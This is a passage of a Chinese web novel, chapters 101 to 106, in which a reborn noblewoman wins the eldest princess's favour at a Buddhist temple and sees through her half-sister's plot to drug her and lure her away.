谢枝将刚才被安平侯侯夫人嘲讽的怒火,全都发泄在丫鬟身上。 丫鬟惨叫一声,脸上骤然浮起五道手指印,头皮也被薅下一把带血的头发。 “大小姐饶命,奴婢不敢,奴婢是按照您的吩咐,去找侯爷了呀。” 丫鬟哭着跪下,把头磕地咚咚响。 “还狡辩,我打死你这个贱婢!” 安平侯坐在旁边,望着这一幕。 此刻的谢枝面容青肿,没有平时的娇俏,眼中更是充满恶毒,让人看了倒胃口。 他脑海中浮现出那日谢窈一身红衣,在雪中撑伞,风华绝代的模样。 谢窈有多美,谢枝就有多么面目扭曲丑陋。 一个萤烛俗物,如何能和皓月相争。 如果不是看在她是谢窈庶姐的份上,他怎会看上这个女人。 “行了,好端端的,你为难一个丫鬟做什么。”安平侯不耐烦地挥了挥手。 他看向丫鬟,俊朗的脸上露出一抹温和笑容:“蔓儿是吧,先下去,给你家小姐煮碗姜汤来暖暖身子。” 谢枝一听,妒火中烧,脸色更加难看。 她认识安平侯才几日,这贱婢居然让侯爷把名字都记住了? 谢枝咬住嘴唇,双臂紧紧缠上安平侯的腰,声音发颤,带着刻意的媚意。 “侯爷怎么知道蔓儿的名字,是不是这小蹄子勾引了您?您是不是有了她,就不要枝枝了。” 安平侯搂住她,一只手在她身上游走。 他瞥过谢枝那张青一块紫一块的脸,错开视线,低低地笑起来。 “一个丫鬟的醋也吃?你可是本侯的女人,本侯当然要你,恨不得……现在就要了你。” 谢枝压下心中的嫉恨,迎合着他。 禅房内两人的呼吸逐渐粗重,丫鬟已经悄悄退下。 谢枝一直记得孙姨娘从前的教导,要让男人想着,念着,却得不到,再给点甜头,才能留在一个男人心里。 她软在安平侯怀里,欲迎还拒。 “枝枝不是想嫁给本侯吗,可别忘了答应本侯的事。”还没等她心神平复,安平侯低沉的声音,在她耳畔响起。 谢枝脸色一白,身子僵住了。 她答应了安平侯,要帮他得到谢窈。 所以昨日从父亲那里得知,谢窈要来成佛寺,她心生恨意,迫不及待地约了安平侯在这里见面。 但是现在,一想到谢窈那双幽深冷漠的眼睛,还有唇角似有似无的讥讽,她就心里发寒。 谢枝怯声道:“谢窈马上就要嫁给靖北王了,侯爷当真非她不可吗,妾身,妾身实在害怕……” 提起靖北王,安平侯面色骤变。 “箫熠之那个残废,算什么东西!” 他怒骂一句,捏起谢枝下巴,故意按她脸上红肿的地方,眼神癫狂得让人害怕。 “枝枝,只要你帮本侯得偿所愿,等谢窈进了府,你就是本侯的侧夫人,本侯要让箫熠之的女人,给我端茶倒水,伏低做小。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“至于江丛嫣,你不必怕她,在侯府里,本侯说的算。” 谢枝被安平侯捏的下颌生疼,想起今日的羞辱,双眸渐渐染上狠厉。 安平侯说的对,只有让那贱人身败名裂,才能解她心头之恨! “妾身知道了。”她忍着疼,点了点头。 安平侯这才满意地松开手,继续和她温存。 这时,长公主和谢窈,还有侯夫人,被觉岸方丈迎到前殿暖阁。 两名小沙弥僧人端来茶水,觉岸上前,亲自递给长公主:“这是栖凤山今年的雪顶含翠,殿下请用。” 他又走到安平侯夫人面前:“夫人也请用。” “尚可。”安平侯夫人接过茶盏,低头品茶后,随意评价了一句,并没有将觉岸当回事。 虽说觉岸是成佛寺的方丈,看着一把年纪,但她来寺里多次,既没见过,也没听闻他有什么深厚佛法。 没想到,长公主皱起眉,道:“怎能让觉岸方丈给本宫敬茶,双喜,扶方丈坐下。” 她对觉岸既尊敬,又看重,今日为沈皇后祈福,都是提前几个月,请觉岸推算的吉时。 安平侯夫人见到长公主的态度,顿时浑身惊出一身冷汗,连忙道:“是我有眼不识泰山,大师莫怪!” 觉岸没有说话,呵呵笑着,慈眉善目的模样。 安平侯夫人低头喝茶,动作越发拘谨。 默默站在侧边的庆才公公,看见侯夫人的窘态,暗自笑了起来。 这觉岸方丈,是当世高僧,皇上都会敬重地唤一声大师。 传闻早年沈皇后领兵,驻扎在栖凤山,受过觉岸指点。 而极少有人知道,长公主在嫁去雍国和亲之前,曾因为一件事,暗中在成佛寺住了长达半年,从此与觉岸相熟。 任由世事变幻,觉岸和尚仍旧端坐寺庙,看庭前花开花落。 “方丈近来身子如何?往常这个时辰,你都是在禅房打坐,可是本宫叨扰了你的清修?” 长公主看着觉岸,语气难得十分温和。 觉岸和尚目光落在谢窈身上,眼底带着暖意:“今日有故人前来,老僧自然要出来迎接。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第102章 救命之恩,长公主的感情 “故人?” 安平侯夫人抬起头。 在场几个人里,有觉岸方丈的故人? 首先肯定排除才十七八岁的谢家二小姐。 长公主已经在成佛寺祈福一年了,觉岸想见她,每日都能见到。 也不能是庆公公,听说皇上看重长公主,常来成佛寺探望,庆公公跟在御前,肯定也来过许多次。 至于自己,觉岸老和尚都能当她曾祖父了,她以前从没见过啊? 她抬起头,见庆公公盯着自己。 他也不认为,觉岸方丈的故人,会是谢二小姐。 安平侯夫人愣住了:诶,难道真是自己,曾经无意间见过觉岸? 她激动而迷茫,正要开口。 觉岸方丈,走到了谢窈面前。 “一别九年,当年的小丫头,如今生得如此挺拔,竟然比老僧还高,真是长大了。” 觉岸的声音温厚,笑着说。 谢窈站起身,接过他手里的热茶,道:“是觉岸方丈年纪大,变矮了。” “你这丫头,还是和小时候一样率直,是个有慧根,有大造化的姑娘。”觉岸哈哈大笑,笑起来中气十足,精神矍铄。 侯夫人听到二人对话,震惊地睁大双眼。 连长公主都要对觉岸和尚客气三分,谢二小姐,竟然和他开起了玩笑? 旁边的庆公公也面露疑惑,重新打量起谢窈。 这位谢家二小姐,竟然和觉岸大师相识? 觉岸抚着雪白的胡须,暗自看了眼长公主,缓缓说道: “老僧听闻你被家人送去健妇营,担心你年纪太小,瘦弱被欺,如今看,你有勇有谋,倒是与从前的先皇后娘娘有几分相似,也算是一脉相传了。” 觉岸口中的先皇后娘娘,指的是创建健妇营的沈皇后。 闻言,长公主眼神微凝,看向谢窈。 这小妮子,身上确实有母后当年的影子。 不过,若这么说的话,谢窈更像年轻时的自己。 再想到母后遗书这样大的人情,那个男人说给就给。 他至今未娶,又待谢窈这么好,难道…… 长公主连忙微微摇头,把自己这个荒谬念头压了下去。 “觉岸方丈到底和谢二小姐有何渊源,还请说来听听,奴才真是太好奇了。” 庆公公终于忍不住了,问起来。 觉岸道:“老僧与小阿窈的缘分,是因为一场意外结下的。” 谢窈垂下眸,平静地饮茶,并不主动开口,也不反驳。 她小时候,曾意外救过觉岸,还有了这老和尚一个小把柄。 她清楚,觉岸不会害她。 他刚才故意说自己像沈皇后,是想帮自己取得长公主的好感。 “九年前,老僧在栖凤山中采药,遇见一伙贼人作乱,多亏一位义士拔刀相助,救了老僧,不料贼人中有个弓箭手,冷箭伤了那位义士。” 觉岸老眼睿智,还透出一抹老顽童的笑意,悠悠开口。 救人救到底,送佛送到西。 他既然决定帮小阿窈,就会帮个大的,最好能还清欠她的债。 他活了太多年,见过太多世事,知道太多秘密。 长公主,在被送去和亲之前,曾经和一个男子,有过一段感情。 觉岸继续道:“危机关头,是这小丫头突然冲出,替义士挡了致命一箭,老僧那时也犯了旧疾,差点魂归佛祖,还是她机灵,从老僧药篓里翻出丹药。” “她一个小丫头,救了我们两条性命啊,那义士,差点当场认她做女儿,老僧也差点认她当曾孙女,一问才知,她是文昌伯府家的二小姐,有父有母,只能作罢了。” 谢窈的脸,慢慢变红了。 觉岸为了帮自己,也太卖力了。 其实是九年前,大将军顾昭棠回京,她自幼就崇拜顾大将军,偷偷跟着他,到了栖凤山。 大将军后来告诉她,他早就察觉到她跟着了,但发现她是个小孩后,就没有理会。 没想到,他在栖凤山遇见了一伙刺客。 百忙之中,他还得保护自己和路过的觉岸。 不过,她的确帮大将军挡了一箭,顺便喂犯病的觉岸喝了药。 要说自己对大将军有救命之恩,也算吧。 所以她才能缠着大将军收她为徒,教她领兵打仗。 安平侯夫人听得目瞪口呆,九年前,当时谢二小姐才八九岁吧,就能救人了? 不过,想到谢窈上山时,那稳住马车的手段,她忽然又觉得事情很合理。 不愧是健妇营出身的健壮女子,京中那些贵女,说人家是乡野村妇,好像是在夸她。 庆公公也暗道,这位谢二小姐,当真是不能小觑。 他问:“觉岸大师与谢二小姐竟有这等缘分,真是让奴才大开眼界,就是不知那位义士是什么人。” 觉岸望着长公主,意有所指:“无名之人,老僧不知。” 长公主的眼中,已经掀起惊涛骇浪,呼吸变得酸涩。 骁骑大将军顾昭棠,九年前,将雍国打退九百里,夺回了被占领多年的三座州城,大捷后,他曾回京承爵受赏。 那是她执着了无数日夜,早就尘封在内心最深处的男子。 觉岸知道她与顾昭棠当年的事,他是想帮谢窈取得自己好感,他口中的义士,只会是顾昭棠。 长公主刚才心里还有疑惑,不知顾昭棠为何给谢窈一个自己的人情,如今恍然大悟。 谢窈救过觉岸一命,也救过他一命! 长公主心里那丝芥蒂霎时间散去,再看谢窈时,眼神温和。 这时候,觉岸道:“到平时静修的时辰了,老僧先行告退。” 他又看向谢窈,眨动眼睛:“老僧这里有串佩戴了六十年的紫檀木佛珠,就送给谢二小姐,做你和靖北王爷的大婚之礼吧。” 长公主低头,看自己的手腕。 今日要给母后祈福,她特意戴上了觉岸大师去年送给自己,他佩戴了五十九年的紫檀木佛珠。 觉岸:“咳咳,老僧年轻时,喜佩戴许多佛珠。” 长公主并没有怪罪,看出他要对谢窈说什么,挥了挥手。 谢窈放下茶盏,向长公主行礼后,跟着觉岸走出暖阁。 一出来,觉岸就说:“今日安平侯私下来到寺里,说要为心上人求个福签,依老僧看,刚才在佛寺外跪拜上山的女施主,就是他的心上人。” “小阿窈,你要小心!” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第103章 和尚还钱,大将军和长公主 “哦?安平侯来了?” 谢窈挑起眉,却并不意外。 “是啊,这个安平侯是寻常香客打扮进的成佛寺,老僧今晨闲逛,发现他行迹鬼祟,才让你当心一些。” 觉岸嘴上担心谢窈,却眼珠一转,顽童似的反问:“至于现在他人在何处,小阿窈想知道吗?只需付一点小代价,老僧就能帮你找到——” 话没说完,就被谢窈打断:“那倒不必。” “多谢方丈告诉我这件事,”她不紧不慢地说,眼神锐利,“已经足够了。” “诶,行吧,你心里有数便好,那老僧走了。” 觉岸和尚语气遗憾,他还想再帮帮小阿窈,让她倒欠自己几个人情呢。 谢窈看着他转头就要溜走的样子,忽然似笑非笑地开口:“觉岸方丈这么着急走做什么,是怕我叫你还钱啊?” 觉岸和尚脚步一顿,差点被自己的袈裟绊倒。 “你这丫头,九年了,还记得那点事,区区三百两银子,老僧又不是还不起。”他面色窘迫。 谢窈道:“三百两?我怎么记得,觉岸方丈一共是欠我四百五十两银子。” 她想起九年前。 大将军回京遇刺受伤后,在成佛寺住了一个月养伤。 谢窈便常常从伯府溜出来,找大将军。 而觉岸这老和尚,看到她小荷包里有舅舅塞的碎银子,见钱眼开,说空巢老人修习佛法太过无聊,居然拉自己掷骰子玩! 没想到自己手气好得离谱,几局,就赢了他四百五十两银子。 最后这老和尚哭丧着脸说,他是出家人,没钱。 他还说:“小阿窈,你与佛门有缘,是有慧根,有大造化的姑娘,一定不介意几百两银子,实在不行,贫僧这里有串自己戴了五十一年的佛珠,送给你,驱灾避难,逢凶化吉!” 小时候的谢窈,懒得和能当她高祖父的老和尚计较。 如今,觉岸听到谢窈提起往事,脸都不红:“唉,谁都有年少轻狂的时候,不过一百两,你年纪轻轻,记性倒是好。” 谢窈:“这话说的,我年纪轻轻,记性当然好了。” 觉岸双手合十,深深地看着她,像是从她脸上窥见了什么,露出高深莫测的表情,终于像德高望重的高僧了。 “傻孩子,你可知越是年轻人,记性越是差劲,非得经历过悲欢离合,痴梦一场,打碎骨血重建,才能苦海回身,早悟兰因,长出所谓的记性。” 谢窈内心颤动,霎时间,心中思绪万千。 她很快压下情绪,微笑道:“银子的事,先不急。” 觉岸顿时松了口气:“好说,好说。” 谢窈这才问:“但你刚才想帮我争取长公主的好感,为何要提起大将军?你就算只说,我曾救过你,效果也是一样的。” 觉岸和尚捋着胡须,道:“看在那几十两银子的份上,有些事,老僧可以告诉你。” 谢窈忍无可忍,一字一顿地强调:“是五百两,五百两,再反向抹零,就一千两!” 觉岸:“……” “其实顾大将军当年,差一点,就要迎娶长公主了。”他收敛了脸上的笑意,感叹道。 谢窈心头一震,认真倾听起来。 大将军让她回京后,给长公主送信这件事,她事后越想,越觉得不简单。 他想给自己铺路,有的是法子。 为什么不让她去找边军旧部,虎贲将军老苏? 为什么不亲自出面? 为什么又特意说,你若不想送,就不去。 他什么都不做,给皇上写封信,说谢二小姐替他挡过一箭,哪怕她是头猪,皇上高低也得给小猪册封个县主当当。 谢窈询问觉岸,就是想知道,大将军和长公主有什么关系。 觉岸继续道:“顾大将军少年时,只是个衰败侯府的世子,长公主那时,也遭先帝厌弃,但两人郎才女貌,倒是极为般配。” 他灰黑的眼瞳深了许多,好像看见了二十年前那对年轻男女。 “当年,顾家已经与皇室议亲,婚约都快定了,先帝却一道圣旨,让长公主嫁给雍帝为妃,长公主抗旨不遵,被先帝送到成佛寺,囚禁了整整半年。” 说到这里,后面的事,谢窈就全明白了。 她跟着大将军在边关长大,在他身边学领兵打仗,大将军待她如师,胜父。 她以为,师父一把年纪不娶妻生子,是怕有了后代,功高盖主后,更被皇帝忌惮。 没想到她师父和长公主,还有这么一段。 难怪大将军让自己给长公主送信。 啧,那两封信,一封是沈皇后的遗书,另一封,怕不是师父的情书吧。 雍国老皇帝快死了,她师父是不是努努力,就能和长公主再续前缘了? 谢窈的眼睛亮了起来。 觉岸:“总之就是这些,几两银子的事,老僧已经是仁至义尽——” 见谢窈表情“啪”变了,他连忙道:“四百五十两,四百五十两。” 他转身又要溜:“佛法无边,老僧要去打坐了。今天是大日子,老僧得在未时三刻之前,做好先皇后的法事,与长公主一起,给她祈福。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!谢窈听到他口中的“大日子”,点了点头。 随即,她伸手,薅住了老方丈的袈裟后领。 “不是,小阿窈啊,该说的老僧跟你说了,不该说的也说了,你还要怎样嘛。”老方丈急了。 谢窈伸出手掌,问:“六十年的佛珠呢?” 觉岸“哎呦”一声,尴尬地说:“其实那个佛珠没什么稀罕的,老僧年轻时候备了好多串,送过先皇后、宫里现在的江太后、先帝、当今圣上……还有去年长公主归国,也给了她一串。” 谢窈眼眸清亮:“那我为我母亲要一串,你给不给?也对,觉岸方丈给佛珠的都是皇亲国戚,看不起我母亲只是个伯夫人,你看不起我母亲就是看不起我,看不起我那就还我一千两银子……” “老僧去找,老僧马上去找,等会儿你去万福殿替萧家祈福的时候,我就拿给你!” 觉岸匆匆离开,他真是怕了谢窈了! 谢窈这才满意地勾起唇角。 回去路上,她唤来蒲苇。 “安平侯来了。”谢窈说。 蒲苇急道:“小姐,谢枝跪拜上山,是想嫁给安平侯,如今她丢尽脸面,安平侯准是来替她出气的,怕要对您下手!” “不怕他下手,就怕他做缩头乌龟。” 谢窈道:“你还记得安平侯夫人的马车样式吗,去马厩找找侯府的马车,找到之后,就去告诉侯夫人,说她夫君来了。” 蒲苇疑惑:“小姐是想让侯夫人护着您?您今日确实救了她,可是,在外人面前,侯夫人未必会驳安平侯的面子。” 谢窈淡淡地瞥向远处:“我只是觉得,堂堂侯爷驾临成佛寺,怎能悄无声息呢。” 吩咐完蒲苇,她带着忍冬,回到暖阁。 安平侯夫人与庆公公一起,去寺中几个大殿祈福了,只有长公主和她身边宫人在。 长公主给了双喜一个眼神,众宫人退下。 她看了眼忍冬,然后将目光放在谢窈身上,凤眸逐渐凌厉。 “谢窈,你让这丫鬟报信,说要给本宫母后和健妇营的英烈上香,是算准了本宫,会护着你?” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第104章 成为健妇营旗帜,长公主爱护 “敢算计本宫,你可知道是什么后果。” “臣女不敢。” 谢窈目光从容,并没有被戳破的慌乱。 “臣女从未觉得殿下会护着臣女,只是认为,殿下不会在沈皇后仙逝的忌辰这日,看着健妇营之人,被害死在栖凤山。” 她的声音清晰而冷静,落在长公主耳中。 谢明安敢害自己,是因为他并不记得,今天,是沈皇后的忌辰! 谢窈甚至怀疑,前世谢枝因为给皇上祈福被册封为妃,也是因为,她曾在成佛寺,顺便为沈皇后祈了福。 “没想到,还有人记得母后忌辰。”长公主淡声道。 沈皇后已经故去整整二十年,皇上忌惮江太后,至今都没有追封她为太后。 也因此,记得她的人,不多了。 这个谢窈,又在她面前提健妇营。 长公主想起朝堂上的非议,自从皇上登基后,朝中反对健妇营的声音,一下子高涨起来。 那些朝臣说,女子从军,有违纲常。 还说既然只有八百人,留着也是浪费粮饷,不如撤去营号。 长公主明白,盯着健妇营不放的官员,背后的人,是当今太后。 沈皇后是皇上生母,江太后不过是个继后,生怕皇上总念着沈皇后。 有人想拆了健妇营,去除皇上心里的念想,想让这世上,再也没人会记得她的母后。 “本宫只是健妇营挂名的统领,又不领兵,你是死是活,与本宫何干。” 长公主别开眼,眉心微蹙,语气仍旧冷淡。 她比谁都清楚朝堂上的蝇营狗苟,但她只想守着回忆,不愿蹚朝中浑水。 “母后不在了,健妇营能留到现在,已是不易,你难道,还想让这支队伍,回到当年的风光?”长公主问道。 谢窈回头,从忍冬手中,拿过缠着布条的长刀。 双喜拦在前面:“谢二小姐怎能在殿下面前持刀?” “无碍。”长公主示意双喜下去。 不知为何,她并不怕“远近闻名”粗野无礼的谢二小姐对自己动刀。 刀上的布条解开,露出银白锋利的刀刃。 谢窈反问:“从前,健妇营战功赫赫,毫无过错,尚且落得个与沈家一朝散去的结果,难道殿下觉得,现在的健妇营,放弃执刀,就能保留下来?” 她将长刀放到桌上,发出“当”一声脆响。 “这把刀,是大将军送给臣女的,是沈皇后在世时,健妇营的标配。” 长公主视线落在刀上,回想起自己还年少时,母后披甲上阵的情景。 “这把刀,叫什么名字?”她问道。 谢窈摇头:“刀就是刀,不需要有名字,关键在执刀的人想保护什么,要怎么用。” 她不闪不避,直视着长公主复杂的眼神:“殿下难道不清楚吗,放弃执刀,就会沦为鱼肉。” 正说着,一名侍女匆匆进来,在长公主耳边低语了什么。 之前谢窈马车故障,车夫下山,马车被她派人抬到别院仔细调查。 长公主听完,凤眸骤然冰冷:“你的马车被人动了手脚,那两匹马,也被喂了会发狂的草药。” 那些反对健妇营的人,应该知道,谢窈是健妇营现在的代表,是她的人。 可他们还是敢,在母后忌辰这日,暗害谢窈! 见到侍女,谢窈唇角上扬起来。 “臣女只是想为健妇营祈福,就有人急着动手,所以臣女才让丫鬟提前来告知您,有人要害臣女。” 她一字一顿:“殿下,一味退让,只会让宵小之辈更加猖狂。” 长公主皱眉道:“你的马车是文昌伯府的,你口中的宵小之辈,是你父亲。” 谢窈看着她的眼睛,双眸漆黑如墨,眼底恨意滔天:“这样杀妻灭女的父亲,臣女不要也罢。” 长公主心神一震。 文昌伯府的事,她有所耳闻。 谢窈说的,是文昌伯宠妾灭妻,还给自己女儿的马车动手脚。 但长公主不由自主,想到了自己。 ——先帝以莫须有的罪名,赐死她母后,将她外祖父家满门抄斩。 还把她,送去了雍国和亲。 那时候雍国的国力,远胜于燕国,先帝让她嫁给雍帝,就没想着她此生还能活着回来。 她的父亲,何尝不是杀妻灭女的男人。 谢窈又道:“健妇营的荣光,沈皇后的遗志,不能就这么没了。” “你想要本宫如何?”长公主终于开口,语气缓和许多。 “臣女不需要殿下做什么。” 谢窈抬眸,深深一拜。 “只请殿下看臣女活着,我在一日,健妇营就在一日,当年沈皇后挥动在手里,那支健妇营的旗帜,就还没有倒下。” 长公主沉默了。 她望着谢窈,看见小姑娘眼里清亮的光,眼眶忽然酸涩。 聪明的人,她见过太多。 眼前这丫头,不是聪明,而是胆大包天,有股倒反天罡的狠劲儿。 如今她的身上,承载了母后的遗志,让自己再也没办法忽视。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!如果说之前,长公主只是归于那封沈皇后遗书的人情,愿意帮谢窈,同时也审视和怀疑着她。 现在,长公主被她打动,对待她,变成了真正的欣赏与爱护。 “本宫确实有些舍不得让你死了,”长公主说道,“双喜,去准备一下,等本宫给母后进香时,也给这丫头三炷香。” 双喜连忙应下:“是。” 长公主凤眸一凛,又扬声道:“再请觉岸方丈,将本宫给母后立的寺庙宣传出去,就说来成佛寺的人,从今日起,都得给母后进香。” “本宫要让母后生前执掌兵马,死后,也香火不断。” 谢窈望着长公主,双眸明亮。 长公主盛怒而冰冷的样子,很美,不愧是昔年的燕国第一美人。 她沉寂平静的内心,翻涌起暗潮。 原本长公主是私下祭奠沈皇后,也是私下为沈皇后立庙。 但因为谢明安害她,从今天起,长公主再也不是中立在皇上太后之间的人了。 她可以不听皇上的,但她一定与太后对立。 “谢殿下为臣女做主。”谢窈屈膝行礼。 “本宫不是为了你,而是为了母后。” “你要知道,本宫当你靠山,一时的花团锦簇,会让更多人想将你置于死地,只希望你这丫头能多活一段时间,不要也落得个烈火烹油后的结果。” 这句话,长公主说的很认真,语气柔和。 谢窈连忙道:“那不会的,因为臣女的靠山,有很多,还包括臣女自己。” 长公主:“嗯?” “臣女还有事,先走了。”谢窈转身告辞。 长公主:“你有什么事?” “得先去万福殿,给靖北王和萧家祈福,母亲还让我去观音殿拜一拜,外祖父一把年纪,我为他求个长寿,大将军在边关领兵,也要求他平安顺遂。” 谢窈一摊手:“等到了吉时,臣女再来陪您给沈皇后上香。” 长公主望着她的背影,忽然笑了起来。 寻了自己做靠山,还没忘记箫熠之,大将军…… 确实是个惜命的丫头。 双喜跟在谢窈身后,悄悄打量着她。 心中暗道,谢二小姐本就快成为靖北王妃了,如今又得殿下青睐,往后的京城,怕是再也没人敢轻看她。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第105章 庶姐实名制下药,假装中计 谢窈离开暖阁,先去观音殿,替母亲,给观音菩萨上了香。 感谢观音菩萨,保佑母亲十七年前,在这里平安顺遂生下自己。 然后去万福殿,为外祖父求了一个平安符。 母亲的毒,已经有了解法。 但外祖父许老爷子,前世是和母亲一前一后走的,就在她婚后不到半年。 她得等外祖父回京后,让忍冬好好给他把脉。 还可以把这枚平安福,装到箫熠之给自己绣的香囊里,送给外祖父。 同时,她也给大将军求了个平安。 最后,谢窈代表靖北王妃,为萧家祈福。 萧家世代继承靖北侯的爵位,箫熠之的父亲,祖父,曾祖父等,都曾卫国戍边,与西戎斗了一辈子。 曾经,箫熠之也战功众多,让西戎人闻风丧胆。 如果不是他平定五王之乱时,杀了太多人,他的名声,本来也可以和大将军一样好,是更年轻的燕国军神。 萧家人,都值得她尊敬。 一圈下来,已近中午。 成佛寺前殿摆了素宴,供香客进用。 长公主坐在首位,谢窈刚进门,她就开口:“谢二小姐,坐到本宫身边吧。” 顿时,数道目光落在自己身上。 庆公公坐在大殿最角落里,若有所思。 连安平侯夫人的眼神,都多了审视,少了妹妹长妹妹短的热切。 侯夫人坐在侧首座上,低调地用着膳食。 一个时辰前,长公主给先帝沈皇后立寺庙神位的事,已经传扬了出去。 如今长公主又让谢二小姐坐在她身边,是告诉众人,她要给谢二小姐撑腰,给健妇营撑腰。 ——沈皇后虽然早已作古,但是,还有她这个女儿在。 事已至此,安平侯夫人知道,长公主公然怀念沈皇后,既是在给皇帝施压,让皇帝早日给沈皇后册封太后,又是明拒了太后的拉拢。 她做为太后党,也就犯不上,再拉拢恭维长公主。 至于谢窈,她也想得很明白。 谢二小姐早就知道她的庶姐会来跪拜祈福,故意叫她同行,阻止谢枝进侯府。 她帮了自己,自己也帮了她,她们扯平了。 因长公主这一句话,谢窈落座后,不少人上前与她寒暄。 觉岸和尚走进来,见长公主而不拜,径直走到谢窈面前。 “谢二小姐,这串辅助老僧佩戴了六十年,今日见你与佛有缘,便赠予你护佑平安。” 殿内瞬间静了静,连安平侯夫人脸色,都露出几分艳羡动容。 她已经知道觉岸方丈是什么人了,活了不知八十还是九十岁的老和尚,说是当世第一高僧,也不过分。 只因活得太久,觉岸近十几年来比较低调,才不被人知。 能被他赠予佛珠,这是多大的福气。 长公主看着觉岸手里的佛珠,默默将自己的衣袖拉长了一些,遮住她手腕上那串几乎一模一样的。 她道:“既然是大师的好意,谢二小姐就收下吧。” 温和的语气,更让众人震惊。 长公主归国后的性子,十分怪癖,之前有两次宫宴上说走就走,连皇上的面子都不给,说的话也冰冷无情。 如今对谢窈,竟然这么温柔? 难道这就是健妇营出身的好处吗? 健妇营还招人吗,她们家里也有几个还未及笄的小妹妹…… 看来以后,再也没人敢说谢窈是什么乡野村妇了。 谢窈收下佛珠,带到手腕上。 众人各怀心思的时候,谢枝独自一人,一瘸一拐地走进来。 她换了身素净衣裙,脸颊冻出的红晕消散许多,脸色白得发青,让额头中间一块青紫色的印子更加显眼。 谢枝的出现,引起许多人注意。 安平侯夫人见到她,第一时间又支棱起来。 但没等她开口,见谢枝走到了谢窈面前,她又慢慢坐下来。 “二妹妹,说好了今日你我姐妹二人一起给父亲母亲祈福,都是我不好,这身子不争气,只能让你一个人跑遍了大半个寺庙。” “谁跟你说好了,”谢窈抬了抬眼,“我是按照礼法,给靖北王萧家祈福,跟文昌伯有什么关系。” 长公主暗自一笑,侧头吩咐心腹侍女:“回头,去查查文昌伯府的事,本宫想知道,文昌伯究竟做了什么,让这小姑娘如此厌恶。” 侍女正要应,长公主又兀自摇头:“还是不必了,仅是文昌伯沽名钓誉,将她年幼就送去健妇营一点,足以看出此人心性人品。” 既然谢窈已经跟她交了底,她想知道什么,直接询问便好,私下调查这种事,她李相宜不屑于做。 谢枝强行挤出笑,打开食盒:“听闻妹妹喜欢甜食,我刚才在后院见到了新做的枣泥山药糕,特意拿来给你。” 谢窈不语,悠然地抱着双臂,看她演戏。 “原来桌上已经有了茶点?”谢枝低头,“哎呀”一声。 她又露出几分卑微,巴巴地将食盒往前推了推,说:“原是我多此一举了,不过,我的糕点是新做的,妹妹真的不尝尝吗?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!谢窈垂眸,眼神从食盒内的枣泥山药糕上移开,看向每桌一碟的糯米山药糕。 她当然不可能吃谢枝送来的点心。 但谢枝虽蠢,犹有尽时,她不可能认为,自己会吃她送的点心。 也没听说过谁实名投毒的。 于是,在谢枝楚楚可怜的目光中,谢窈拿起一块桌上原本的糯米山药糕。 这正是谢枝的目的——谢窈肯定不会吃她拿来的点心,却会因此吃桌上别的点心。 她的心提了起来,眼神闪烁。 一时之间,谢枝不知自己该说什么,随口问道:“听说二妹妹刚才得到了觉岸大师的佛珠,能给我看看吗?” 谢窈做出个“不能”的口型,双眸幽幽,仿佛看穿了她。 然后,谢窈勾唇一笑,摘下佛珠:“看吧,看坏了赔。” 趁谢枝手忙脚乱接住佛珠的时候,她将糯米山药糕放入口中。 实际上,谢窈只是从唇畔掠过,嘴唇都没碰到,又悄然掰了一大块,像尝了两口似的,将剩下半块点心放下。 谢枝一回头,看见剩余的点心,还有谢窈咀嚼的动作,心跳如雷,呼吸都漏了半拍。 谢窈吃了!她中计了! 谢枝差点激动哭。 而谢窈悠悠地看着她,指尖点着桌案,平静等待。 一下,两下—— 点到第三下时候,一个低着头,端着汤羹的女杂役走过来,脚下一绊,整个人撞到谢窈面前。 谢窈故意躲慢了半步。 一钵豆腐羹,大半洒在桌上,小半溅在她雪青色衣裙上,晕染出汤羹痕迹。 “奴婢该死!”女役连忙跪下,头埋到地上,吓得浑身发抖。 谢枝立即冲上前,厉声道:“不长眼的东西,敢弄脏二妹妹的衣物,把你卖了也赔不起!” 谢窈道:“不是什么大事。” 谢枝:“二妹妹午后还得祈福,不能穿脏了的衣服,这是对佛祖不敬。” “成佛寺都有干净的常服,我的衣裳,就是寺中人提供的。”她眼珠转动,现身说法。 “你这个贱婢,还不快带二妹妹去换身衣裳!” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第106章 侯爷被揍成狗,自食恶果 谢窈身旁的长公主眉心微蹙,正要开口,让她的人带谢窈去换衣服,就见谢窈自己站起身。 “既然大姐姐说成佛寺有干净衣裳,那还是换了的好。” 谢窈从谢枝手里拿回佛珠,声音清冷平静,看着还跪在地上瑟瑟发抖的女役:“带路吧。” 长公主不动声色地收回到嘴的话。 谢枝缩到角落里,望着二人走出前殿的背影,再定睛一看,谢窈几乎一直不离身的长刀,竟然也被她放到桌上。 她心中暗喜,眼神既不甘,又怨懑,脸色也一会儿狰狞,一会儿得意。 但她现在本来脸颊就五颜六色的,所以表情奇怪,也没人发觉。 谢窈跟着女役,越走越偏,脚下石板路还有没扫干净的积雪。 见女役始终低头,她忽然道:“你叫什么名字,为何不敢抬头?” 女役身子一僵,随即道:“奴婢容貌粗鄙,不敢见二小姐。” “离禅房还有多远?”她又问。 女役:“二小姐问这么多做什么,前面那几个院子都是。” 谢窈不再说话。 走着走着,谢窈忽然身子一晃,咳了咳。 女役立即回头,盯着她,见她脸色微红,内心定了定。 “二小姐快点走,禅房就在前面。”她催促道。 “你等等,我有些身体不适。” 谢窈低声道,踩了脚积雪,脚下一滑,差点摔倒。 “奴婢扶着二小姐吧。”女役连忙回身,搀扶住她。 谢窈眼眸一眯,看清了女役的侧脸。 是谢枝院里,一个叫蔓儿的丫鬟,脸上还有个巴掌印。 前世,蔓儿一直跟在谢枝身边作威作福,谢枝让她打开自己屋子的门窗,她第一个行动。 渐渐地,蔓儿感觉谢窈已经整个人软下来,几乎要瘫倒在她身上。 